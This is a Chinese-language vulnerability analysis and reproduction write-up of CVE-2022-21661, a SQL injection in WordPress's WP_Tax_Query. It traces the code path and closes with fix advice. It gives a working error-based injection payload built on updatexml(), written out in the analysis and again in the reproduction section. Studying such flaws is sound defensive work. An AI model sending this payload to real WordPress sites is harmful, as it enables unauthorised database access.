WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

admin 2022年2月7日00:32:05评论568 views字数 6194阅读20分38秒阅读模式


WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

一、漏洞描述

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37

WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. Due to improper sanitization in WP_Query, there can be cases where SQL injection is possible through plugins or themes that use it in a certain way. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability. 


WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

二、漏洞分析

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Queryclean_query方法:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

根据漏洞的描述,我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验,最终导致了SQL语句的拼接,进而导致了SQL注入漏洞。

通过上下文的分析,我们将注意放置在WP_Tax_Query::get_sql_for_clause这个函数上面,这也是整个漏洞利用调用链中的一个函数;在这个函数中,使用到了clean_query方法对传入的参数进行了校验过滤处理:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

继续查看该方法下面的代码,我们可以知道items变量最终拼接到了SQL语句中。

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

该漏洞最终需要利用的就是这个items变量,如果能够控制这个变量的值的话,就可以导致注入。

知道了漏洞点的位置,现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的:

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法,知道其调用了query方法。在WP_Query::query中,调用了wp_parse_args函数对输入的字符串进行了处理:

function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}

if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}

这里主要关注前面两个点,一个是如果传入的是一个对象的话,将其属性名和值取出来转变成数组;如果直接传入的是数组的话,也就是直接返回了。这里也就确定$this->query_vars$this->query变量可控了。

接下来调用get_posts方法,该方法的代码比较长,我们直接定位到利用链函数:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

变量$this->is_singular初始化之后为false,所以这里的if语句是会执行的,而下面的$this->parse_tax_query($q)语句,跟进去,其实就是给变量$this->tax_query赋值,其值为WP_Tax_Query类对应的对象,同时利用传入的$q变量,对该对象进行了一些初始化。这里关键就是$q变量,我们向上追溯,查看一下该变量的生成过程:

$q = &$this->query_vars;

$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars,通过上面的分析,我们知道这个变量是可控的,也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法,跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组,然后var_dump出来看看:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组,然后赋值给$tax_query变量,然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );,在parse_tax_query函数中,我们需要给$tax_query变量赋值,就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看:(简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值)

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

可以看到$this->queries变量的值是由$tax_query赋值得到的,只不过这里做了一些过滤,即调用了sanitize_query函数进行了处理。

到这里,我们就进入到了WP_Tax_Query类,并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理,也就是这个sanitize_query函数:(这里只截取关键部分了)

elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}

if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
}

我们要进入到这个if语句,就需要通过is_first_order_clause函数:

protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}

这个函数比较简单,就是需要传入的数据通过foreach迭代之后,仍然是一个数组,也就是传入的需要是一个二维数组,并且需要携带一些key值。(加上前面的需要传入tax_query关键词,到这里就需要传入的是一个三维数组)

由于我们要控制terms的值,所以传入的terms也要是一个数组,也就是说如果要控制terms值,需要传入一个四维数组,例如如下POST数据:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query,是为了能给$tax_query变量赋值,然后我这里加了一个1是为了构造多维数组,这样传入进去之后,到上面这个foreach取出来之后,就是一个数组,从而构造了$this->queries,并且由于我们需要控制terms值,$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后,$this->queries的值为:

Array
(
  [1] => Array
      (
          [include_children] => 1
          [terms] => Array
              (
                  [1] => AND
              )

      )

)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析,开始调用WP_Tax_Query::get_sql方法,然后调用了WP_Tax_Query::get_sql_clauses方法:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

之后将$this->queries变量的值传入get_sql_for_query函数,我们继续跟进一下这个函数:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

如果我们想要调用get_sql_for_clause方法的话,就需要对传入的数据进行一个控制,这里的关键在于is_array($clause)语句,也就是说,我们通过构造以后,这里需要传入一个二维数组,进而能够执行到这个条件里面并且需要满足is_first_order_clause函数,因此我们按照上面的构造方式是可以执行到这里的,并且这里的$clause的值为:

array(5) {
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) {
  [1]=>
  string(3) "AND"
}
["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"
}

接下来就进入了get_sql_for_clause函数,也就是我们最终拼接SQL语句的地方,但在拼接之前,我们需要绕过clean_query函数,我们跟进这个函数看看:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

这里为了不让他异常退出,我们需要添加一个field字段,让其值等于term_taxonomy_id即可,构造语句为:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后,调用了$this->transform_query( $query, 'term_taxonomy_id' );,我们跟进去,正好判定field的值,从而return,跳过了后面的执行操作:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

接下来就是SQL语句的拼接了,根据我们构造的operator的不同值,没有构造的话就是IN了,进行不同的拼接操作,这里是IN,我们进入到这个if语句:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

我们在terms处构造报错注入代码即可:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数,并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

get_sql_for_clause这个函数中,调用了clean_query方法对我们构造的数据进行了一个清洗,然后取出其中的terms值,带入了SQL拼接语句中,payload如下:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

三、漏洞复现

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


我这里将new WP_Query($_POST['query_vars'])语句放置到wp-adminadmin-ajax.php中:(在实际场景下,只要该处输入可控,即可造成SQL注入漏洞)

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

复现的时候开启一下debug即可看见报错注入(也可以进行盲注了);最后的构造语句为:(这里加上action参数是为了执行到目标代码)

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

四、修复方式

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


官网已经发布更新版本,或者按照官网的修复方式,自行添加代码:

WordPress SQL注入漏洞|CVE-2022-21661 分析与复现


WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

原文始发于微信公众号(山石网科安全技术研究院):WordPress SQL注入漏洞|CVE-2022-21661 分析与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月7日00:32:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress SQL注入漏洞|CVE-2022-21661 分析与复现http://cn-sec.com/archives/766659.html

发表评论

匿名网友 填写信息